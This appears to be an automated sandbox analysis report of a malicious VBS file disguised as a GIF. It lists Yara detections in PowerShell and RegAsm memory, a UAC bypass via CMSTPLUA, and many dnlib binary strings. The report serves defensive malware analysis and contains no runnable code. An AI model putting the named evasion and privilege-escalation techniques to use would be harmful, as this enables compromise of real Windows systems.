Windows Analysis Report
createactiveimagesbeautygirlfrnd.gIF.vbs

AI detected suspicious sample

Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.246346ad908.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.246346ad908.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2488829216.000000000122B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1328673356.00000246343D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6048, type: MEMORYSTR

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

4_2_00433837

Source: powershell.exe, 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_e4f0aa71-b

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.246346ad908.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.246346ad908.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1328673356.00000246343D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6048, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004074FD _wcslen,CoGetObject,

4_2_004074FD

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
